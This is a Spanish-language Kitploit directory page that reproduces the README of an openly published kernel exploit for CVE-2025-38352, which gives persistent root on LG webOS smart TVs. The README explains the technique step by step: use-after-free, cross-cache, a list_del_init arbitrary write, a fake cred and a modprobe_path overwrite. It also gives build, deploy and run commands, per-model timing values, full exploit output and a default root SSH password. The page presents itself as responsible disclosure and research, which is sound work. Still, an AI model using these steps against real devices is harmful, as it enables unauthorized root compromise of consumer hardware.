Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
chronomaly-webos — CVE-2025-38352 exploit de kernel para Smart TVs LG webOS (ARM64). Logra root persistente en hardware de consumo real con técnicas de explotación novedosas. Divulgado responsablemente a LG. | Kitploit
Herramientas/GitHubGitHub/analyticeth/chronomaly-webos
Seguridad de Sistemas EmbebidosEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónSeguridad de HardwareAprendizaje y EducaciónExplotación de Binarios
GitHubanalyticeth/chronomaly-webos

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

chronomaly-webos

CVE-2025-38352 exploit de kernel para Smart TVs LG webOS (ARM64). Logra root persistente en hardware de consumo real con técnicas de explotación novedosas. Divulgado responsablemente a LG.

Ver Repositorio
10hace 2 mesesAún no revisado

Chronomaly — CVE-2025-38352 en LG webOS

Exploit de kernel para CVE-2025-38352 (condición de carrera de temporizador POSIX CPU / use-after-free) que consigue root persistente en Smart TVs LG webOS con kernel 5.4.268 en ARM64. Verificado en 4 modelos de TV en múltiples versiones de firmware. Divulgado responsablemente al Programa de Investigadores de Seguridad de LG (febrero de 2026).

Construido sobre Chronomaly por farazsth98. La lógica de la carrera UAF de la Etapa 1 y la infraestructura de cross-cache se trasladaron y adaptaron para ARM64; las Etapas 2–5 se rediseñaron con técnicas de explotación novedosas y soluciones a limitaciones de hardware real que no existen en entornos emulados. Desarrollado con la asistencia de Claude Opus 4.6.

Consulte VULNERABILITY_REPORT.md para obtener el análisis completo de la vulnerabilidad, el recorrido de la cadena de explotación y las mitigaciones recomendadas.

Resultados

  • Root persistente del kernel (uid=0) desde el usuario no privilegiado prisoner (uid=5038)
  • Verificado en 5 modelos de TV LG: OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • Confirmado en versiones de firmware 33.22.65 – 33.30.97 (kernel 5.4.268-320 y -329)
  • Completamente automatizado, se ejecuta en minutos, sobrevive a reinicios mediante la elevación del Canal Homebrew
  • Reportado al Programa de Investigadores de Seguridad de LG (7 de febrero de 2026)

Descargo de responsabilidad

Este exploit fue desarrollado como parte de una investigación de seguridad responsable y se reportó al Programa de Investigadores de Seguridad de LG el 7 de febrero de 2026. Se publica únicamente con fines educativos. Úselo de manera responsable y solo en dispositivos que posea. Los autores no se hacen responsables de daños, bloqueos, pérdida de datos o anulación de garantía derivados del uso de este software. Este software se proporciona tal cual, sin garantía alguna.

Técnicas novedosas

1. Primitiva de escritura rediseñada

El decremento arbitrario del original es lento y ruidoso: rocía 1000 objetos struct cred mediante procesos bifurcados, luego decrementa el campo EUID de un cred objetivo N veces. Cada decremento es una operación separada. Esto es aceptable en QEMU donde el tiempo es indulgente, pero poco fiable en hardware real donde la reclamación de páginas impulsada por interrupciones puede robar páginas del búfer de tubería entre operaciones.

Se reemplazó con una única escritura arbitraria mediante list_del_init(). El exploit sobrescribe los punteros list_head.next y list_head.prev del sigqueue con UAF a través del búfer de tubería. Cuando el kernel desencola la señal pendiente (collect_signal() → list_del_init()), realiza prev->next = next (escribe la dirección de cred falsa en task_struct->cred) y next->prev = prev (escritura de efecto secundario controlada). Una sola escritura reemplaza el puntero cred del proceso con un puntero a una estructura cred falsa que contiene todos los campos uid/gid en cero. Sin rociado de cred, sin procesos bifurcados, determinista.

2. peek_pipe() mediante tee() para lecturas no destructivas

El original usa llamadas read() destructivas en los búferes de tubería durante todo el exploit. En QEMU, esto funciona bien porque las páginas no se roban entre operaciones. En hardware real con 4 núcleos físicos, la lista de páginas por CPU del kernel (pcplist) reclama agresivamente las páginas liberadas. Una lectura destructiva libera la página de respaldo del búfer de tubería, que puede ser robada inmediatamente por una interrupción de hardware antes de que el exploit pueda reasignarla.

La solución es una primitiva de lectura de tubería no destructiva usando tee(). La llamada al sistema tee() duplica los datos de la tubería entre dos tuberías sin consumirlos, manteniendo fija la página de respaldo del búfer de tubería original. Esto permite que el exploit lea datos del kernel desde el búfer de tubería cross-cache repetidamente sin riesgo de perder la página. Esto fue crítico para la fiabilidad en hardware real.

3. Cred falsa en un segundo búfer de tubería cross-cache

El original rocía objetos cred y espera que uno caiga en una ubicación predecible. Esta versión construye la estructura cred falsa en una dirección conocida realizando un segundo cross-cache: asigna un nuevo sigqueue (mediante tkill(SIGRTMIN+1)), aprende su dirección desde la fuga de heap del primer búfer de tubería, luego hace cross-cache de la página de slab de ese sigqueue a un segundo búfer de tubería. La cred falsa se escribe en el segundo búfer de tubería en el desplazamiento de página exacto de la dirección del sigqueue filtrada. El resultado es una cred falsa en una dirección determinista del kernel sin conjeturas.

4. SIGUSR2 mantenido pendiente como disparador final de escritura

El original desencola SIGUSR2 al principio de la Etapa 2 para filtrar la dirección del sigqueue con UAF. Esto consume la señal, por lo que el original necesita un mecanismo diferente para la escritura final. Esta versión nunca necesita la dirección del propio sigqueue con UAF (la fuga de heap proviene de punteros sigqueue adyacentes en el búfer de tubería). SIGUSR2 se mantiene pendiente a lo largo de las cinco etapas y su desencolado se utiliza como disparador final de la escritura arbitraria. La señal que creó el UAF es la misma señal cuyo desencolado lo explota.

5. Escalada mediante modprobe_path + socket(44)

La estructura cred falsa tiene punteros NULL en user_ns, user y group_info (ya que el búfer de tubería se inicializa a cero más allá de los campos uid/gid). Llamar a setresuid(), fork() o exec() desreferenciaría estos punteros NULL y causaría un pánico del kernel. El original evita esto porque su rociado de cred usa objetos cred reales con punteros válidos.

La solución: sobrescribir /proc/sys/kernel/modprobe para que apunte a un script payload (/tmp/pwn), luego activar call_usermodehelper mediante socket(44, SOCK_STREAM, 0) (solicitando una familia de protocolo inexistente). El kernel ejecuta el helper modprobe con init_cred (las credenciales root del propio kernel, completamente válidas), evitando la cred corrupta. El payload se ejecuta como root completo y puede realizar operaciones arbitrarias.

6. Protección de tiempo para hardware real

La ventana crítica en la Etapa 4 (escribir punteros maliciosos en el búfer de tubería, luego activar el desencolado de señal) es vulnerable a que las interrupciones de hardware roben la página del búfer de tubería de la lista de páginas por CPU. Esto no sucede en QEMU. En hardware real, esta ventana está protegida con prioridad SCHED_FIFO (cuando esté disponible) y sched_yield() para permitir que el trabajo pendiente se complete en la CPU antes de entrar en la sección crítica, además de contenido del búfer preparado de antemano para minimizar el tiempo entre escritura y disparador. El exploit también falla con gracia cuando SCHED_FIFO no está disponible (como en webOS donde el usuario prisoner carece de CAP_SYS_NICE).

7. Ingeniería inversa del desplazamiento de task_struct en ARM64

La escritura arbitraria apunta a task_struct->cred, lo que requiere conocer el desplazamiento en bytes desde task_struct->pending (cuya dirección se filtra desde el búfer de tubería) hasta task_struct->cred. Este desplazamiento depende de la configuración del kernel. El desplazamiento 0x80 (128 bytes) se calculó manualmente a partir del código fuente del kernel de LG webOS, teniendo en cuenta CONFIG_KEYS=y, CONFIG_SYSVIPC=y y el diseño y alineación de estructuras específicos de ARM64. El desplazamiento x86_64 en el original es diferente debido a diferentes empaquetados de estructura y opciones de configuración.


Qué hace

En caso de éxito, el exploit:

  1. Obtiene root del kernel mediante UAF → cross-cache → escritura arbitraria (sobrescritura de cred)
  2. Sobrescribe /proc/sys/kernel/modprobe para ejecutar un payload de rooted como init
  3. El payload instala y eleva el Canal Homebrew y elimina la aplicación Modo Dev
  4. Después del reinicio, el Canal Homebrew proporciona SSH root persistente en el puerto 22

Inicio rápido

Requisitos previos

  • TV LG webOS con kernel 5.4.268 (ARM64)
  • Modo Dev habilitado en la TV (acceso SSH en el puerto 9922)
  • Compilador cruzado ARM64 (aarch64-linux-gnu-gcc)
  • IPK del Canal Homebrew: descargar desde webosbrew releases

Instalar compilador cruzado

root@kitploit:~
# macOS (requiere tap de terceros)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

Recomendado: Instalar primero el Canal Homebrew

Instale la aplicación Canal Homebrew en su TV mediante el Modo Dev antes de ejecutar el exploit. De esta manera, el payload de rooted solo necesita elevarlo (rápido, fiable) en lugar de instalar + elevar (más lento, puede fallar). Puede instalarlo lateralmente usando ares-install o la aplicación Dev Manager:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

Si HBC no está preinstalado, el exploit intentará instalarlo desde /tmp/hbchannel.ipk (desplegado por deploy-webos.sh), pero esto agrega pasos adicionales que pueden fallar.

Construir, desplegar, ejecutar

root@kitploit:~
# 1. Establecer la IP de su TV y la clave SSH
#    La IP de su TV está en Configuración > Red > Wi-Fi > Configuración avanzada
#    La clave SSH es generada por la aplicación Modo Dev de LG — busque la clave
#    descargada por Dev Manager o ares-setup-device (normalmente llamada webos_rsa)
export WEBOS_IP="<IP_TV>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. Construir y desplegar (deploy-webos.sh maneja la compilación automáticamente)
./deploy-webos.sh

# 3. Conectar y ejecutar
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

Variables de entorno

Ajuste

El exploit acepta parámetros de temporización como argumentos de línea de comandos:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

Si no se proporcionan argumentos, se utilizan los valores predeterminados compilados (DELAY=31000, DELTA=50, THRESHOLD=3000). Si se proporciona DELAY pero no DELTA, DELTA se calcula automáticamente como DELAY / 600 (redondeado al 5 más cercano).

Valores conocidos que funcionan

Encontrar valores para una TV nueva

Observe la salida del exploit y ajuste DELAY:

root@kitploit:~
Parent raced too late   → DISMINUIR DELAY
Parent raced too early  → AUMENTAR DELAY

Cuando aparecen ambos mensajes, la sincronización está cerca — siga ejecutando y el exploit eventualmente debería acertar la ventana de carrera. Comience con el valor predeterminado compilado (31000) y ajuste desde allí.

Después del root

  1. El exploit esperará a que /tmp/pwn termine; a menudo se agota el tiempo (esto es normal). Verifique /tmp/pwn.log para confirmar manualmente que el payload se completó si es necesario.
  2. Reinicie la TV
  3. Después del reinicio, el Canal Homebrew proporciona SSH en el puerto 22:
    root@kitploit:~
    ssh root@<IP_TV>
    # contraseña: alpine
    

Salida de ejemplo

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
Salida completa (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

Licencia

Las contribuciones originales están bajo licencia MIT. Las partes derivadas de Chronomaly de farazsth98 están excluidas de la concesión MIT porque el proyecto original se publicó sin una licencia explícita. Consulte LICENSE para más detalles.

Referencias

  • CVE-2025-38352 — Boletín de seguridad de Android de septiembre de 2025 (explotado en la naturaleza)
  • Chronomaly — Exploit original de farazsth98 (x86_64/QEMU)
  • Parte 1 — Análisis de vulnerabilidad del kernel de Android explotada en la naturaleza + PoC
  • Parte 2 — Ampliando la ventana de carrera sin un parche del kernel
  • Parte 3 — Descubriendo Chronomaly
  • Canal Homebrew
Descargar herramienta
VariablePor defectoDescripción
WEBOS_IP192.168.1.100Dirección IP de la TV
WEBOS_PORT9922Puerto SSH
WEBOS_USERprisonerUsuario SSH
WEBOS_KEY$HOME/.ssh/webos_rsaRuta de la clave SSH
Modelo de TVID OTADELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000